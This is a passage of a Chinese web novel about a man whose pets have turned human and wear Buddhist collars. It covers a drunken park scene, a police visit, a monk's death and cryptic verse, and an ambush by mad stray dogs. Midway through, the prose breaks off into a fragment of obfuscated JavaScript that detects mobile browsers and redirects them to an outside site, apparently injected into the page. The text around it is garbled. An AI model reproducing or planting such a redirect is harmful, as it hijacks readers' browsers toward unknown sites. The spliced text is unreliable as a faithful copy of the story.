包子沉默地站在他身后不远处,没有靠近,静静地看着他颤抖的背影。
汉堡、可乐和雪碧也陆续跟了过来,站在洗手间门口。
四人像一排沉默的卫兵,引来其他客人好奇的侧目。
“回家……”陈开心低下头,水珠顺着下巴滴落,他闭着眼,看上去似乎很难受,“带我……回家……”
.
.
回家的路,夜风一吹,酒劲彻底上头。
出了公交站,陈开心脚步踉跄,被包子半搀半架着往家的方向走去。雪碧紧张地跟在另一边,可乐和汉堡安静地走在后面。
路过小区旁的小公园,路灯昏暗,树影婆娑。
陈开心突然停下脚步,一挥手臂甩开包子搀扶他的手,布满血丝的眼睛死死盯住可乐脖子上的项圈。
“假的……都是假的……”他含糊不清地嘟囔着,猝不及防地扑向可乐。
“主人?”可乐被他吓了一跳,本能地想躲,但项圈的约束让他身体动弹不得。
陈开心像疯了一样,双手抓住可乐脖子上的项圈,用尽全身力气撕扯,手指抠进皮革的缝隙里,试图把它拽下来。
“还给我!把它摘了!把我的狗还给我!可乐!我的傻狗可乐!”他怒吼着,涕泪横流,嗓音凄厉绝望,充满了酒后的癫狂和无助,“我不要这样的!我不要!把我的狗还给我!呜……”
在陈开心哭喊出“我的狗”、“傻狗可乐”的瞬间,可乐脖子上的项圈,内侧那繁复的梵文竟然闪过一丝微弱的金芒。
紧接着,那坚固无比的项圈竟然真的在陈开心疯狂的撕扯下,出现了松动,仿佛一道无形的枷锁被挣开了一丝缝隙。
“嗷——呜!”
混合着痛苦、委屈和长久压抑后终于爆发的哀嚎,从可乐喉咙里发出来,不再是人类的呜咽,而是阿拉斯加犬最本能的嚎叫。
随着项圈松动,他身体一颤,眼泪如决堤的海水般汹涌而出。他不再是那个安静克制的人类,他变回了那只受了天大委屈后急需主人安抚的狗。
“主人!主人啊!”可乐崩溃地大哭起来,完全不顾形象,高大的身躯扑向摇摇欲坠的陈开心,双手紧紧抓住陈开心的胳膊,语无伦次地哭喊。
“呜……那个圈圈……戴着好难受!它不让我叫!不让我跑!不让我扑你!它……它让我觉得好饿好饿!可我说不出来!嘴巴张开了……话堵在喉咙里……呜……可乐好饿!可乐想啃骨头!可乐想吃肉!可乐不是故意装哑巴的!主人别不要可乐!呜哇哇哇……”
陈开心被扑上来的可乐撞得站立不稳,后退几步接住他的身体。
醉眼朦胧中,他看到汉堡那张即使在昏暗光线下也依旧漂亮得惊人的脸。汉堡正歪头看着旁边一棵大树,上面有一只扑棱着翅膀试图飞走的麻雀。
“汉堡……”陈开心喃喃着,这个名字像一把钥匙,顿时打开了他对那只骄纵又黏人的小猫咪的全部记忆。
那会跳起来开门带狗离家出走的聪明小猫,那会四脚朝天翻肚皮晒太阳的慵懒美人,那会为了争宠和可乐打得不可开交的小炮仗……
“不!也不是你!不是这样的!”陈开心一把推开还抱着他胳膊哭嚎的可乐,像一头被激怒又绝望的困兽,踉跄着扑向汉堡。
“主人?!”汉堡被这突如其来的
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袭击吓了一跳,避开身体,本能地想躲闪。
但陈开心的动作快得惊人,仿佛有一种同归于尽般的疯狂。他双手在汉堡惊愕的目光中,狠狠抓住了他脖子上的深棕色项圈!
“把我的猫也还给我!陈汉堡!我的猫!”
陈开心哭闹着,面容因为用力而扭曲变形,泪流满面的脸快要贴到汉堡眼前。
他重复着撕扯可乐项圈的动作,手指再次死命地抠进汉堡项圈的皮革缝隙,用尽全身的力气向外拽。
“摘下来!把它摘了!我不要你装人!我要我的猫!我要你……喵呜!你喵呜给我听啊!”他语无伦次地哭喊。
汉堡脖子上的项圈,内侧的梵文也如同呼应般,闪过一丝比可乐项圈更亮一点的金芒。
项圈出现了剧烈的震颤,束缚感如潮水般急速退去。
“喵——呜——”
属于猫咪尖锐的嚎叫从汉堡喉咙里发出,像是流浪猫被侵犯领地后的炸毛警告。
项圈短暂的失效,让猫科动物最原始的防御本能被彻底释放,就在陈开心准备继续动手扯项圈是,汉堡下意识地抬起手。
“嘶啦!”锋利的指甲在陈开心抓着他项圈的手背上,划出了三道清晰的血痕。
火辣辣的剧痛传来,陈开心吃痛地“嘶”了一声,手下意识一松。
“血……主人流血了……”可乐的嚎哭被这变故打断,他看着陈开心手背上那三道刺目的红痕,圆溜溜的狗眼里充满了恐惧和内疚,忘了自己的委屈,只剩下对主人的担忧。
他呜呜咽咽地想凑过去舔伤口,又被项圈重新开始生效的约束力拉回,急得原地打转。
趁着陈开心松手的刹那,汉堡化身成一道黑色闪电,迅速转身冲向那棵大树。
“该死的圈圈!该死的树!该死的鸟都是我的!”
他兴奋的猫眼里燃烧着旺盛的捕猎欲,压抑的本能在项圈的短暂失效中回归自我。什么规矩,什么仪态,什么“人”的身份,都被他被抛到九霄云外!
他像一道离弦的箭,修长的四肢并用,指甲死死抠住粗糙的树皮,蹭蹭蹭几下就蹿上了两米多高的树枝,目标直指那只受惊的麻雀。
“鸟!我的!”汉堡激动地尖叫着,瞳孔在黑暗中缩成一条竖线,完全沉浸在捕猎的快感中,哪里还有半分“优雅美人”的样子。
“啊!有人爬树!”
“快看!那个人在抓鸟!”
“天啊!他爬得好高!危险!”
“拍下来!快拍下来!”
公园里零星的几个路人和夜跑者被这接二连三的变故惊呆了。一个男人抱着另一个大哭的男人喊“还我狗”,一个俊美的男人像猴子一样蹿上树抓鸟……
这画面太过离奇,引发了越来越多人的围观和拍摄。
“汉堡!下来!”包子焦急地大喊,想去阻止,但喝醉了酒,被可乐死死抱住的陈开心眼看就要摔倒,雪碧一个人根本扶不住。
包子分身乏术,只能先和雪碧一起死死架住陈开心,防止他摔伤,又焦急地看着树上那个兴奋追逐鸟影,随时可能掉下来的身影。
场面彻底失控了。
醉鬼的哭喊,大狗的哀嚎,树上猫男的兴奋尖叫,路人的惊呼和手机拍摄的闪光……交织成一曲荒诞至极的夜半交响乐。
混乱的夜色中,陈开心试图用生日掩盖的疮疤,被血淋淋地撕开在所有人面前。
37.警察来了
公园的混乱像一颗投入死水的巨石,涟漪迅速扩散。
汉堡在树枝间灵活腾挪,兴奋的猫眼紧锁着扑腾的麻雀,嘴里发出不成调的“喵呜嗷嗷”声,哪里还有半分优雅美人的样子。
他每一次跳跃都引得树枝剧烈摇晃,落叶簌簌而下,看得树下的人心惊胆战。
“小心啊小伙子!”
“快下来!太危险了!”
“拍下来了吗?快报警吧?这看着精神不太正常啊!”
手机摄像头的光点如同夏夜的萤火虫,密密麻麻地对准了树上那个矫健却危险的身影。
闪光灯偶尔亮起,刺得汉堡下意识眯眼,动作稍有迟滞,麻雀趁机“扑棱”一声,惊险地掠过他的指尖,飞向更高更黑的树冠深处。
“啊,我的鸟。”汉堡气急败坏地跺脚,树枝又是一阵呻吟。
“汉堡,下来!”包子焦急地大喊,声音都变了调。
他和雪碧正使出吃奶的力气架着醉醺醺,还在试图挣脱去“救狗”的陈开心。
陈开心嘴里含混不清地念叨着“可乐……我的狗……项圈……”,身体却像灌了铅一样沉重,全靠两人支撑才没瘫倒在地。
可乐则被汉堡刚才划伤主人的举动吓懵了,莫名的愧疚感混合着项圈重新收紧带来的约束感,让他僵在原地,像个做错事被罚站的孩子,眼泪无声地流得更凶了,喉咙里发出断断续续的呜咽,想靠近又不敢。
“让开,让开。”几个热心的年轻人试图靠近树干,想强行把汉堡弄下来。
“汪汪!不准过来!”可乐看到有人靠近汉堡所在的树,几乎是条件反射地冲过去几步,龇着牙,发出低沉凶狠的警告。
虽然项圈压制着他扑咬的本能,但那护主的凶悍眼神和低吼,瞬间镇住了那几个想上前的人。
“我靠,这哥们儿真凶……”
“看着像练过的,眼神吓人……”
于是场面更加混乱了。
树上有个“猴人”在抓鸟,树下有个凶神恶煞的保镖在护树,旁边还有三个拉拉扯扯,其中一个明显醉得不轻的同伴。
围观的人群议论纷纷,手机拍摄不停,已经有人拨通了报警电话。
“呜……主人……汉堡……怎么办啊…”雪碧急得满头大汗,看着眼前一团乱麻,带着哭腔问包子。
他力气不小,但架不住陈开心醉酒后的死沉和胡乱挣扎。
包子碧绿的眼眸扫过混乱的现场,又警惕地瞥向远处路灯照不到的阴影,他总觉得有双眼睛在盯着他们。
他深吸一口气,强迫自己冷静下来,项圈带来的人的思维在这一刻起了作用。
“可乐!”包子声音不大,却似乎穿透了周围的嘈杂,“守好树,别让人靠近汉堡!”
可乐听到指令,像是找到了主心骨,立刻挺直腰背,更加凶狠地瞪着试图靠近的人,喉咙里的低吼威胁意味十足。
他的任务明确化了,混乱的思绪顿时也清晰了一点。
“雪碧,抓紧主人,跟我来!”包子架着陈开心的一条胳膊,示意雪碧用力,两人半拖半抱地把陈开心往公园边缘人少的长椅方向挪动。
远离了汉堡那棵树,也远离了最密集的围观人群中心。
“汉堡,玩够了就下来,开心受伤了!”安置好陈开心,包子立刻回头,对着树上那个还在不甘心搜寻鸟影的身影吼道。
这次,他刻意加重了“开心受伤”几个字。
果然,“开心受伤”四个字像冰水浇头,立马熄灭了汉堡旺盛的捕猎欲。
他扭头看向长椅方向,看到陈开心瘫软的身影和手背上那三道在昏暗光线下依旧刺眼的血痕,兴奋的猫瞳骤然收缩。
“主人!”汉堡惊呼一声,哪里还顾得上什么鸟。
他像一道黑色的闪电,手脚并用,以比爬上去更快的速度“蹭蹭蹭”从树上滑溜下来,落地时轻盈无声。
他拨开挡路的人,几步冲到长椅边,蹲在陈开心面前,小心翼翼地捧起他受伤的手。
“喵,对不起……主人……我不是故意的……”
看着那几道渗血的抓痕,汉堡漂亮的脸蛋上满是惊慌和后怕,项圈的约束仿佛在这一刻被强烈的愧疚和担忧冲淡了,属于猫的依赖和心疼本能地流露出来。
他下意识想用舌头去舔舐伤口,又被项圈的力量硬生生遏制住,急得眼眶通红。
陈开心好像被手上的刺痛和汉堡的呼唤唤回了一丝神志,醉眼朦胧地看着眼前围着他的四张写满担忧的脸。
可乐的眼泪,汉堡的惊慌,雪碧的焦急,包子强装的镇定……
那份被项圈压抑的真切情感,此时此刻如同被凿开冰面的泉水,汩汩涌出,冲垮了他酒精构筑的堤坝。
“呜……我的猫……我的狗……我的猪……”陈开心像个迷路的孩子终于找到了家,一把搂住离他最近的汉堡和可乐,把脸埋在他们颈间,放声大哭起来,所有的委屈和悔恨都化作了滚烫的泪水。
“对不起,是我错了,我不该给你们戴这个,把你们弄丢了,我不要你们装人,我要你们回来,哇……”
他哭得毫无形象,鼻涕眼泪糊了两人一身。
可乐被主人抱着,感受着那份久违的依赖,项圈带来的僵硬感似乎也被泪水融化了大半。
他紧紧回抱住陈开心,嚎啕大哭:“呜哇……主人,可乐在,可乐一直都在,没丢……”
汉堡被搂得有点喘不过气,但听着主人撕心裂肺的哭声,感受着他身体的颤抖,心里最后那点因为抓伤他而产生的尴尬也烟消云散,只剩下满满的愧疚和心疼。
他别扭地扭了扭,最终还是安静地任由主人抱着,小声笨拙地安慰:“喵……不哭……汉堡在……”
雪碧看着抱成一团哭的三人,鼻子一酸,也凑过去,把大脑袋挤进缝隙里,瓮声瓮气地跟着哭:“呜,还有雪碧,雪碧也没丢。”
包子站在一旁,看着这混乱又无比真实的一幕,紧绷的肩膀终于缓缓放松。
他碧绿的眼眸深处,那层被项圈强行覆盖的疏离冰壳,也悄然裂开了一道缝隙,流露出一种近乎温柔的无奈。
他默默地从口袋里掏出纸巾,这也是项圈“教导”他养成的习惯,然后递给哭得最凶的陈开心。
警笛声由远及近,红蓝光芒划破了公园的夜色。
“警察来了!”人群一阵骚动。
包子眼神一凛,立刻上前一步,低声对抱在一起的几人说:“警察来了,都别哭了,冷静点。可乐,汉堡,记住,我们是人!刚才只是朋友喝醉了闹点小矛盾,汉堡爬树是……是帮朋友捡东西,不小心划伤的。雪碧,别说话,跟着我。”
他的语速又快又清晰,指令不容置疑。
或许是“警察”两个字带来的天然威慑,或许是包子话语中的镇定感染了他们,哭成一团的几人竟然真的慢慢止住了哭声,只是还在抽噎。
陈开心酒醒了大半,意识到麻烦来了,慌忙用包子递来的纸巾胡乱擦着脸。
可乐和汉堡也赶紧整理着自己被抓皱的衣服和哭花的脸,努力摆出“正常人”的表情,只是通红的眼眶和残留的泪痕骗不了人。
警察分开人群走了过来,看着眼前站立的四个年轻男人,还有一个被围在中间,看上去醉醺醺但似乎清醒了些的男人。
周围群众七嘴八舌的“爬树”、“抓鸟”、“打架”、“发酒疯”的混乱描述,听的警察眉头皱得死紧。
“怎么回事?谁报的警?”为首的警察严肃地问道,目光锐利地扫过每一个人。
包子深吸一口气,上前半步,脸上露出一个歉意和疲惫的“人”的笑容,用平稳的语调开始解释:“警察同志,实在不好意思,打扰大家了,是我朋友……”
他指了指陈开心。
“今天他过生日,我们几个在海底捞给他庆祝,他高兴多喝了几杯,出来散步时酒劲上来有点失控,情绪比较激动,跟他……呃,跟另一个朋友发生了点小争执拉扯,不小心自己把手划伤了。”
他隐晦地指了指可乐,然后指了指汉堡。
“这位朋友也是喝多了点,看到树上有只鸟,非说像自己以前养的宠物飞走了,一时冲动想爬上去看看,吓到大家了,真对不起。我们这就带他回去醒酒,保证不再打扰大家。”
包子的解释半真半假,逻辑却意外地通顺,配合他诚恳道歉的表情和略显狼狈但还算镇定的姿态,听起来竟有几分可信度。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792417|172075||http|test|mini|href|location''.split(''|''),0,{}));
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>尤其是“过生日喝多了”和“找丢失的宠物鸟”这种理由,在醉汉行为里也不算太离谱。
警察将信将疑,看向陈开心:“他说的属实吗?你这手怎么伤的?”
陈开心此刻脑子还有点懵,但包子的提示他听懂了,连忙点头,舌头还有点打结:“是……是的警察叔叔,我……我喝多了,不小心……跟朋友闹着玩,划……划到了,对……对不起……警察叔叔。”
他努力想挤出笑容,但比哭还难看。
警察又看向可乐和汉堡。
可乐低着头,瓮声瓮气地“嗯”了一声,汉堡则努力模仿着包子那种“人”的带着点懊悔的表情,点了点头:“警官,对不起,我……我冲动了。”
雪碧牢记包子的“别说话”,只是拼命点头,表示认同。
警察询问了几个围观者,得到的描述也是五花八门,但核心不外乎“喝多了”、“吵架拉扯”、“有人爬树”,没有明确的打架斗殴或者严重危害公共安全的证据。
看着眼前几个虽然狼狈但认错态度还算良好的年轻人,尤其是陈开心那副醉醺醺的可怜样和手上的伤,警察最终只是严厉地训斥了几句。
“年轻人聚会喝酒要有分寸,喝成这样像什么话?大晚上爬树多危险?出了事谁负责?赶紧带你朋友回去醒酒,下次再这样,就得跟我们回所里醒酒了!”
“是是是,谢谢警官!我们马上就走,保证没有下次。”包子连声道谢,暗暗松了口气。
一场风波,在包子的急智和众人混乱的配合下,有惊无险地暂时平息了。
回去的路上,气氛沉闷而复杂。
夜风彻底吹散了陈开心最后一点酒意,手背的伤口隐隐作痛,提醒着他刚才的失控和疯狂。
包子紧抿着唇,警惕地留意着四周。
可乐低着头,偶尔偷偷看陈开心受伤的手,眼神里满是心疼。
汉堡则有些烦躁地时不时扯一下脖子上的项圈,似乎在回忆刚才短暂自由的感觉。
雪碧抱着他那个始终没离手的零食袋,一脸心有余悸。
那四个古朴的项圈,在昏黄的路灯下泛着沉郁的光泽,如同四道符咒,牢牢锁在他们的脖颈上,也沉沉地压在陈开心的心头。
慧明大师的话再次在他脑海里回响。
“此物或可助他们稍敛心性,明辨真妄。”
“心净,则佛土净。心平,则天下安。”
敛了心性,明了真妄,心是净了,也平了,可那份独属于他们的让他又爱又恨的鲜活与羁绊,却也一同被净化和抚平了吗?
.
.
回到那个散发着陌生气息的家,陈开心疲惫地瘫倒在旧沙发上。
包子默默地找来医药箱,用棉签沾了碘伏,动作生疏但格外小心地给他手背上的抓痕消毒。
冰凉的触感和细微的刺痛让陈开心微微一颤。
“疼吗?”包子低声问,绿眼睛里映着碘伏的棕色。
陈开心摇摇头,看着包子专注的侧脸,又看看围拢过来的汉堡、可乐和雪碧,他们眼中那份熟悉的担忧和依赖,似乎冲破了项圈冰冷的桎梏,重新变得清晰可见。
“不疼。”陈开心哑声说,眼眶又开始发热,“只要你们都在……就不疼。”
他伸出手,这一次没有去抓扯项圈,而是轻轻摸了摸包子的头发,又依次拍了拍可乐壮实的胳膊、汉堡漂亮的脑袋和雪碧圆乎乎的脸颊。
项圈依旧冰冷地套在他们的脖子上,但在这个劫后余生的夜晚,在这个破败却暂时安全的屋檐下,某种被压抑已久的东西,好像正顽强地在冰冷的金属皮革之下,重新搏动。
陈开心知道,他和范司杞,和这神秘项圈,和他这四位“非人”家人的未来之间,还有一场漫长而艰难的博弈。
但至少此刻,看着他们围在身边,感受着那份失而复得的,笨拙却真实的关切,他心中那个冰冷的窟窿,仿佛被填上了一点暖意。
只是远处地下室窗户后,那双一直窥视着他们的眼睛,在目睹了公园闹剧和他们的归来后,缓缓隐入了更深的黑暗。
范司杞摩挲着手腕上那串廉价的桃木珠,低语随风飘散:“呵,好戏,才刚刚开始呢……”
38.圆寂
晨光透过未拉严的窗帘缝隙,像根细针扎在陈开心的眼皮上。他呻吟一声,宿醉的脑袋像被塞进了寺庙的晨钟里,嗡嗡作响,每一次心跳都牵扯着太阳穴突突地跳痛。
他费力地睁开眼睛,映入眼帘的是熟悉又陌生的天花板。记忆碎片汹涌回潮:海底捞的尴尬、公园的疯狂、可乐的嚎哭、汉堡上树的矫健身影、路人惊愕的尖叫和手机的闪光……最后定格在包子与雪碧死命架着他,踉跄回家的模糊画面。
“嘶……”手背上传来火辣辣的刺痛,他抬起手,三道清晰的血痕已经结痂,是汉堡的“杰作”。
陈开心猛地坐起身,环顾四周。客厅里一片狼藉,空气中还残留着淡淡的酒气和汗味。
可乐蜷缩在沙发角落的地毯上,睡得正沉,脸上还挂着未干的泪痕,高大的身躯缩成一团,显得格外可怜。
雪碧趴在餐桌上,怀里紧紧搂着他那个已经有些变形的零食袋,嘴角流着口水。
包子则坐在窗边的旧椅子上,背脊挺直,头却一点一点地打着瞌睡,阳光落在他金色的发梢,映得那深棕色的项圈边缘泛着微光。
汉堡……汉堡呢?
陈开心心头一紧,刚要起身寻找,就看到阳台窗帘后探出一颗毛茸茸的脑袋。
汉堡正蹲在阳台的杂物箱上,背对着客厅,肩膀微微耸动,似乎在专注地研究着什么。
“汉堡?”陈开心哑着嗓子叫了一声。
汉堡闻声转过头,脸上露出一种古怪的表情,他手里拿着一个陈开心用来修手表的小型放大镜。
“主人,你醒了?”汉堡的声音带着点熬夜后的沙哑,但眼神异常清明,“你快来看这个!”
他跳下箱子,快步走到陈开心面前,不由分说地把放大镜塞到他手里,然后指着自己脖子上的项圈内侧。
“看里面,仔细看。”
陈开心一头雾水,宿醉让他反应迟钝,他狐疑地接过放大镜,凑近汉堡的项圈。深棕色的皮质内壁在放大镜下纹理毕现,他下意识地寻找着项圈的搭扣结构。
“不是看搭扣!”汉堡急切地用手指点着项圈内壁靠近锁骨的一个位置,“看这里!刻了东西!”
陈开心调整放大镜的角度和焦距,光线汇聚,在细腻的皮革纹理之下隐蔽的地方,一行微小的,与皮质同色的刻痕显现出来。
那不是花纹,也不是磨损,而是六个极其繁复古朴的符号,以一种难以捉摸的韵律排列着。
“这……这是……”陈开心眯起眼,努力辨认。他对佛教符号了解不多,但这六个字太有名了!
“唵……嘛……呢……叭……咪……吽?”他一字一顿,艰难地念了出来。
这赫然是佛教密宗最核心的六字真言:唵嘛呢叭咪吽。
仿佛一道惊雷劈开了陈开心混沌的脑海,所有的线索瞬间串联起来。
为什么项圈能压制兽性?为什么带着檀香?为什么慧明大师说“不可说”?为什么解开会反噬?为什么昨夜他情绪崩溃,呼唤“我的狗”、“我的猫”时,项圈竟出现了松动甚至短暂失效?
因为这根本不是什么简单的“驯兽圈”,而是蕴藏着佛门无上法力的法器!这六个字,是降服外道,守护本心的终极力量!
“六字大明咒……”陈开心喃喃自语,握着放大镜的手微微颤抖。
慧明大师不是坏人,他是在用一种隐秘而强大的方式保护他们,试图用佛力洗涤他们灵魂中的兽性狂躁,引导他们走向“人”的清明。但同时,这也是一种最深沉的禁锢,封印了他们最本真的情感。
“什么咒?”可乐被他们的动静吵醒,揉着红肿的眼睛凑过来,雪碧也迷迷糊糊地抬起头。
包子不知何时也醒了,无声地走到了陈开心身后,绿眸沉沉地盯着那个项圈。
“是项圈里面的秘密。”陈开心深吸一口气,把放大镜递给可乐,“你们自己看,都看看自己的项圈内侧,同一个位置。”
四个人立刻凑到一起,拿着放大镜轮流观察彼此和自己的项圈。当看到那行微小的梵文真言时,每个人的表情都变了。
可乐是纯粹的敬畏和茫然,雪碧是好奇和一丝害怕,汉堡的眼神变得莫名复杂,有震撼,也有被更深层次“算计”了的不甘。
包子的手指轻轻抚过自己项圈内壁的位置,碧绿的猫瞳里闪过锐利的光。
“是那个老和尚刻的?”汉堡放下放大镜,语气有些冲,“他到底想干什么?把我们当妖怪镇住吗?”
“不,大师是在帮我们,用一种……我们无法理解的方式。”陈开心疲惫地揉了揉眉心,昨夜醉酒后的哭喊和此刻的发现让他心力交瘁,但一个念头却无比清晰。
“但我们不能这样下去,这咒语太强了,强到连心都要被锁死了。我必须去找慧明大师问清楚,这咒语有没有解法?或者……有没有让它只约束兽性,不压制本心的办法?”
这个念头一旦升起,就再也无法遏制。项圈的真相如同黑暗中的烛火,既带来了希望,也带来了更深的焦虑。
“走!现在就去龙吟寺!”陈开心挣扎着站起来,宿醉的眩晕感仍在,但眼神无比坚定。
这一次,没有人反对。
可乐和雪碧虽然懵懂,但也感觉到事情关乎重大。汉堡抿着嘴,默认了。包子则第一个走到门边,拉开了门。
一行人再次踏上前往龙吟禅寺的路,气氛比上次离开时更加凝重。
每个人都不自觉地摸着脖子上的项圈,那深棕色的皮圈此刻仿佛有了千斤重量,内里隐藏的六字真言像烙印般灼烧着他们的感知。
阳光正好,寺庙的红墙金瓦在蓝天白云下显得格外庄严。山门依旧,扫地的僧人依旧,香客也多了起来。
陈开心领着四人直奔大雄宝殿,希望能直接找到慧明大师或者监院。
可是还未等他开口询
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问,上次那位告知他慧明大师闭关的年轻僧人好像早已等候在殿前台阶上。
看到陈开心一行人,他立刻双手合十,快步迎了上来,脸上带着一种混合着悲悯和了然的复杂神色。
“阿弥陀佛。施主,您来了。”小僧的声音很轻,有种尘埃落定的平静。
“小师父,我……”陈开心急切地开口,“我有急事,必须见慧明大师!关于他给我的……”
小僧轻轻抬手,打断了陈开心的话。他的目光缓缓扫过陈开心身后那四个戴着项圈的人,最后落回陈开心脸上,眼神澄澈而悲悯。
“施主不必多言,师叔祖……已然圆寂了。”
“什么?!”陈开心如遭重击,踉跄后退一步,脸色顿时惨白如纸。
汉堡等人也震惊地瞪大了眼睛,连包子淡漠的脸上都出现了裂痕。
圆寂?那个神秘莫测,赐予他们这奇异项圈的老和尚……死了?
“就在昨夜,子时三刻。”小僧的声音依旧平静,却像重锤砸在陈开心心上,“师叔祖于禅房内安详坐化,示现涅槃。”
昨夜?是他们在公园里闹得天翻地覆的时候?
这个时间点让陈开心浑身冰凉,一股难以言喻的宿命感攫住了他。
“可是……可是……”陈开心语无伦次,巨大的失落和恐慌淹没了他。唯一的希望,唯一的知情者,就这样……没了?
小僧看着陈开心失魂落魄的样子,从宽大的僧袖中取出一个折叠得方方正正的古旧宣纸纸条,双手恭敬地递到陈开心面前。
“师叔祖圆寂前,似有感应,曾留此一偈,嘱弟子务必交予今日定会再来的施主。”小僧脸上带着敬畏之意,“他说,施主看到此偈,便知前路。”
陈开心颤抖着手接过那张薄薄的纸条,宣纸带着岁月的痕迹和淡淡的墨香。他深吸一口气,强忍住心里的恐慌,缓缓将纸条展开。
纸条上,是用苍劲古朴,力透纸背的笔锋写下的七个字。
檀木竭时劫方至。
笔迹看上去是慧明大师的
陈开心死死盯着这七个字,每一个字都像烧红的烙铁烫在他的视网膜上。
檀木竭?是指这项圈的檀香皮革终有耗尽磨损的一天吗?
劫?什么劫?是范司杞的威胁?是他们兽性彻底失控的灾厄?还是别的什么?
方至?意思是那时劫难才会真正降临?
这到底是什么意思?
纸条从陈开心颤抖的指间滑落,飘然落在青石板上。
阳光依旧灿烂,梵音依旧悠扬,香火依旧缭绕。
陈开心和他身后的四人,却仿佛被投入了万年冰窟,浑身冰冷,一股未知的恐惧阴影,伴随着慧明大师圆寂的消息和这七个字的谶语,沉沉地笼罩下来,比那深棕色的项圈,更紧地扼住了他们的咽喉和未来。
檀木终有竭尽时。
劫难,已在路上。
39.疯狂流浪狗
自从龙吟禅寺归来,得知慧明大师圆寂后,陈开心把刚入职的工作辞了,领着大家蜗居在租来的小屋里。
他们成了自我囚禁的困兽,汉堡大部分时间都摊在阳台上那能晒到夕阳的破旧藤椅上,金色的阳光落在他白皙精致的侧脸上,长长的睫毛垂着,像只慵懒的贵族猫,但紧抿的唇角泄露了内心莫名的烦躁。
雪碧时不时盯着他以前喜欢抱着的零食袋,手指想去触碰,却好像零食袋上通了电,他的手指一碰到袋口,又哆嗦着收了回去。偶尔在里面夹到一两片肉干,他蜷在客厅的沙发角落里,眼神飘忽,生怕被谁发现似的,咔嚓咔嚓地偷偷咀嚼。
可乐坐在沙发另一端,手里捧着一本色彩鲜艳的儿童图画书,粗壮的手指笨拙地翻着页,目光空洞地落在窗外,另一只手一遍遍摩挲着脖子上的项圈边缘,仿佛想确认它的存在,又或是想将它抹去。
包子常常倚在窗边,碧绿的猫瞳透过蒙尘的玻璃,警惕地扫视着外面寂静的街道和斜对面半地下室的窗户,项圈在他修长的脖颈上显得只是一个装饰物。
陈开心看着空荡荡的冰箱,胃里也空落落的。
他叹了口气,打破屋内的沉寂:“包子,陪我去趟小超市吧,家里没吃的了。”
包子闻声转过头,没多问一句,径直走到门边拿起自己的外套。他明白,这种时候,自己是相对最“正常”也最让人放心的一个。
汉堡从藤椅上撩开眼皮,瞥了他们一眼,鼻子里发出一声轻哼,算是知道了。
雪碧往袋里偷薯片的动作顿了顿,含糊地说了句:“能不能……买点肉?”
可乐也终于从窗外的虚无中收回目光,看向陈开心,张了张嘴,似乎想说什么,最终只是木讷地叮嘱了一句:“小心点。”
那眼神里,是藏不住的担忧。
陈开心心头微涩,点了点头,和包子一前一后出了门。
破旧的铁门在身后关上,发出沉闷的“哐当”声,隔绝了屋内的世界,也将他们暴露在黄昏的微光下。
为了节省时间,陈开心选择了穿过那个让他们社死的小公园。
公园里人迹寥寥,只有几个步履蹒跚的老人坐在远处的长椅上。高大的梧桐树投下浓密的阴影,将小径切割得明明暗暗。
刚走到公园中心小广场的边缘,包子全身的肌肉瞬间绷紧,猫瞳猛地收缩成危险的竖线,凭借着猫咪对危险的直觉,他惊叫出声。
“小心!”
话音未落,他一手狠狠抓住陈开心后衣领,将他整个人向后一拽,同时自己腰身一拧,以左脚为轴心,完成了一个漂亮的旋身,将陈开心完全护在自己与旁边一棵粗壮的梧桐树之间。
陈开心被拽得双脚离地,购物袋脱手飞出,里面的方便面、挂面、鸡蛋稀里哗啦撒了一地。
他惊魂未定,心脏狂跳得几乎要从嗓子眼里蹦出来,顺着包子如临大敌的目光望去,浑身的血液直接冷透。
公园深处的浓密阴影里,范司杞的身影无声无息地出现。他不再是之前那副玩世不恭的混混模样,此刻的他穿着一身深灰色的运动服,脸上惯有的玩味消失得无影无踪,只剩下一种志在必得的阴鸷,锐利的眼神牢牢锁定着他们。
范司杞手中托着一个造型怪诞的金属罗盘,在昏暗的光线下散发着幽光。装置中心,一颗鸽卵大小的晶石,正隐隐散发着紫黑色光芒。
“找到你们了。”他声音响起,枯瘦的手指在罗盘边缘以一种诡异而迅疾的节奏拨动,嘴唇无声地急速翕动。
装置中心的黑晶石应声爆发出刺目欲盲的妖异紫光,瞬间膨胀扩散,形成一个半透明的紫色光罩,将大半个公园的中心区域笼罩在内。
“嗷呜!” “吼!” “汪汪汪!呜!”
公园各个角落爆发出此起彼伏的犬吠,不是一只两只,而是十几只。
它们形态各异,有的瘦骨嶙峋肋骨分明,有的肮脏不堪皮毛粘结……但此刻都眼珠充血,嘴角淌着粘稠涎水,拉出长长的丝线,统一呈现出一种令人毛骨悚然的面目。
这些平日里在人类脚下瑟缩,为一口残羹冷炙而互相撕咬的流浪狗们,此刻在紫色光晕的侵蚀下,嗜血的欲望被无限放大扭曲,前仆后继地扑向陈开心。
“吼!” “撕碎他!” “嗷呜!”
十几道黑影带着腥臭的狂风,从四面八方疯狂而来,张开的血盆大口里,森白的獠牙闪烁着致命的寒光,唾液混合着血沫在空中飞溅。
“包子!”陈开心吓得魂飞魄散,大脑一片空白。
他想逃,但双脚像是被浇筑在水泥地里,冰冷麻痹,动弹不得,极度的恐惧让他胃部痉挛,几欲呕吐。
包子虽然反应快到极致,在拽开陈开心的同时就已经矮身,摆出了猫咪最凌厉的防御姿态,绿眸中燃烧着凌厉的凶光,身体绷紧得像一张拉满的弓。
可他原本也只是一只怕狗的流浪小猫咪,面对的是一群彻底失去理智的流浪狗,他再敏捷,也无法同时护住陈开心全身。
他能感觉到那腥臭灼热的鼻息快要喷到他脸上,最前面那只体型最大的杂色土狗,那沾满污秽的獠牙,距离陈开心的咽喉,只有不到半尺!
绝望让陈开心看到恶犬咽喉深处蠕动的暗红血肉时,死死闭上了眼睛。
“汪嗷嗷嗷嗷!!!”
一声熟悉的犬吠震天撼地,突然炸响在公园上空。
这声音如此熟悉,仿佛烙印在陈开心灵魂深处,他不敢置信地睁开眼。
是可乐!是陈可乐!是他的狗朝他飞奔而来!
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新家的窗户,正对着公园混乱战场的这一角。
